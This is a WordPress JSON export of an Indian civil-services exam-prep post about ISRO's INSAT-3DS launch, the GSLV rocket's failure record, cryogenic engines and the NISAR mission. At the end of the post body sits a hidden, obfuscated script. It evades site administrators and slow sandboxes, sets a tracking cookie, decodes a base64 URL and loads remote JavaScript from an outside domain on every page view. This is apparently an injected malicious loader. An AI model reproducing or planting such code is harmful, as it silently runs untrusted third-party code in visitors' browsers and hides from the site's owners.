{"id":879,"date":"2024-02-27T08:42:13","date_gmt":"2024-02-27T08:42:13","guid":{"rendered":"https:\/\/iasquest.com\/?p=879"},"modified":"2026-02-11T19:20:39","modified_gmt":"2026-02-11T19:20:39","slug":"gs-iii-achievements-of-indians-in-science-technology-indigenization-of-technology-and-developing-new-technology","status":"publish","type":"post","link":"https:\/\/kingmakersiasacademy.com\/current-affairs\/gs-iii-achievements-of-indians-in-science-technology-indigenization-of-technology-and-developing-new-technology\/","title":{"rendered":"GS-III (Achievements of Indians in Science &amp; Technology; Indigenization of Technology and Developing New Technology)"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\"><strong>News:<\/strong> Recently, the Indian Space Research Organisation (ISRO) launched a new-generation meteorological satellite, INSAT-3DS<\/p>\n\n\n\n<p class=\"has-vivid-red-color has-text-color has-link-color wp-elements-1 wp-block-paragraph\"><strong>Q1. The Indian Space Research Organization (ISRO) recently launched the INSAT-3DS satellite, which was a major accomplishment for both the spacecraft, and the GSLV (Geosynchronous Satellite Launch Vehicle) rocket. In the light of the statement, discuss the significance and challenges of it.<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">In spite of its earlier setbacks, GSLV was able to get the satellite into the desired orbit, marking a significant victory for ISRO. The GSLV rocket, a vital component of ISRO\u2019s launch fleet, has earned the nickname<strong> \u2018naughty boy\u2019<\/strong> due to its track record, characterized by a high failure rate compared to its counterparts. The recent success, however, has shifted the narrative around GSLV.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Comparison with PSLV &amp; LVM3:<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">GSLV had flown 15 times before this, and four of these had been unsuccessful, a very high failure rate for any rocket. <strong>PSLV, the rocket that ISRO has used the maximum number of times<\/strong>, has failed only twice in its 60 launches, including the first time it was tried way back in 1993. The LVM3 rocket has flown seven times and never failed.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Cryogenic Engine and its challenges:<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>The main source of GSLV&#8217;s difficulties is its cryogenic engine, which is housed in the rocket&#8217;s third and last stage.<\/li>\n\n\n\n<li>Cryogenic engines use <strong>liquid hydrogen<\/strong> as the main fuel. <strong>Hydrogen<\/strong>, the most efficient rocket fuel, is very <strong>difficult to handle in its natural gaseous form<\/strong>, but <strong>manageable in liquid state<\/strong>.<\/li>\n\n\n\n<li>However, it <strong>liquefies only at very low temperatures<\/strong>, nearly 250 degrees Celsius below zero. The oxygen that is needed to burn this fuel also needs to be in liquid form. Oxygen is in a liquid state at about 90 degrees Celsius below zero.<\/li>\n\n\n\n<li>Liquid hydrogen, which is efficient as a rocket fuel and needs to be handled at very low temperatures, is used in this engine.<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Indigenous Cryogenic Technology:<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>The GSLV uses a cryogenic engine that is <strong>reverse-engineered on a Russian design<\/strong>. The Russians had won a <strong>deal to supply cryogenic engines, and technology, to ISRO in the late 1980s<\/strong>, but that deal had come under pressure from the United States which claimed that it violated provisions of <strong>Missile Technology Control Regime<\/strong>, an international legal framework meant <strong>to stop the proliferation of missile technology.<\/strong><\/li>\n\n\n\n<li>This engine has an entirely Indian design, developed within ISRO, and uses a different process to burn the fuel. It is closer to the designs of the Arianne rockets that were used by ISRO till a few years ago to launch its heavier satellites.<\/li>\n\n\n\n<li>This indigenously developed cryogenic engine is deployed in LVM3, ISRO\u2019s most powerful rocket so far, which carried the Chandrayaan-2 and Chandrayaan-3 missions, among others. <strong>LVM3 <\/strong>has had seven flights till now, without any trouble. ISRO scientists, not surprisingly, have a much better grip on this home-grown technology.<\/li>\n\n\n\n<li>However the recent successful launch has put away the question marks on the GSLV rocket for the time being, but a more crucial test awaits it in a few weeks\u2019 time when it gets ready to carry the <strong>NISAR (NASA-ISRO Synthetic Aperture Radar) satellite.<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>About INSAT-3DS:<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>INSAT-3DS is an exclusive <strong>meteorological satellite made by ISRO<\/strong>.<\/li>\n\n\n\n<li>Its primary objective is to provide continuity of services to the existing in-orbit INSAT-3D and 3DR satellites and significantly enhancing the capabilities of INSAT system is flagged off to SDSC-SHAR launch port on January 25, 2024 for the launch on-board GSLV F14.<\/li>\n\n\n\n<li>The Satellite had successfully completed Satellite Assembly, Integration &amp; Testing activities at U R Rao Satellite Centre, Bengaluru.<\/li>\n\n\n\n<li>Pre-Shipment Review (PSR) was held with the participation of members from the user community on January 25, 2024.<\/li>\n\n\n\n<li>The <strong>satellite is a user funded project with the Ministry of Earth Science (MoES)<\/strong>, configured around ISRO\u2019s well proven I-2k bus platform with a Lift-Off Mass of 2275 kg. Indian Industries have significantly contributed in the making of the Satellite.<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>About NISAR:<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>NISAR, a first of its kind collaboration between ISRO and NASA, would be the most prestigious mission for the GSLV so far.<\/li>\n\n\n\n<li>NISAR has been <strong>built by space agencies of the US and India<\/strong> under a partnership agreement signed in 2014. The 2,800 kilograms satellite consists of both<strong> L-band and S-band synthetic aperture radar (SAR)<\/strong> instruments, which makes it a dual-frequency imaging radar satellite.<\/li>\n\n\n\n<li>While NASA has provided the L-band radar, GPS, a high-capacity solid-state recorder to store data, and a payload data subsystem, ISRO has provided the S-band radar, the GSLV launch system and spacecraft.<\/li>\n\n\n\n<li>According to NASA, another important component of the satellite is its large 39-foot stationary antenna reflector. Made of a <strong>gold-plated wire mesh, the reflector will be used to focus \u201cthe radar signals emitted and received by the upward-facing feed on the instrument structure<\/strong>\u201d.<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">The story of GSLV has developed over time, demonstrating ISRO&#8217;s perseverance and dedication to developing rocket technology. Having overcome obstacles and completed successful missions despite being called the &#8220;naughty boy,&#8221; GSLV is a tribute to India&#8217;s prowess in space exploration. GSLV&#8217;s voyage represents the successes and lessons learned in the ever-evolving field of space exploration as it gets ready for the momentous NISAR mission.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Reference: <a href=\"https:\/\/indianexpress.com\/article\/explained\/explained-sci-tech\/gslv-rocket-naughty-boy-why-9166963\/\" target=\"_blank\" rel=\"noopener\">https:\/\/indianexpress.com\/article\/explained\/explained-sci-tech\/gslv-rocket-naughty-boy-why-9166963\/<\/a><\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","protected":false},"excerpt":{"rendered":"<p>News: Recently, the Indian Space Research Organisation (ISRO) launched a new-generation meteorological satellite, INSAT-3DS Q1. The Indian Space Research Organization [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":880,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"site-sidebar-layout":"default","site-content-layout":"","ast-site-content-layout":"default","site-content-style":"default","site-sidebar-style":"default","ast-global-header-display":"","ast-banner-title-visibility":"","ast-main-header-display":"","ast-hfb-above-header-display":"","ast-hfb-below-header-display":"","ast-hfb-mobile-header-display":"","site-post-title":"","ast-breadcrumbs-content":"","ast-featured-img":"","footer-sml-layout":"","ast-disable-related-posts":"","theme-transparent-header-meta":"","adv-header-id-meta":"","stick-header-meta":"","header-above-stick-meta":"","header-main-stick-meta":"","header-below-stick-meta":"","astra-migrate-meta-layouts":"default","ast-page-background-enabled":"default","ast-page-background-meta":{"desktop":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"ast-content-background-meta":{"desktop":{"background-color":"var(--ast-global-color-4)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"var(--ast-global-color-4)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"var(--ast-global-color-4)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"footnotes":""},"categories":[1,39,26,12],"tags":[],"class_list":["post-879","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-blog","category-daws","category-gs-3","category-mains"],"_links":{"self":[{"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/posts\/879","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/comments?post=879"}],"version-history":[{"count":2,"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/posts\/879\/revisions"}],"predecessor-version":[{"id":3406,"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/posts\/879\/revisions\/3406"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/media\/880"}],"wp:attachment":[{"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/media?parent=879"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/categories?post=879"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/tags?post=879"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}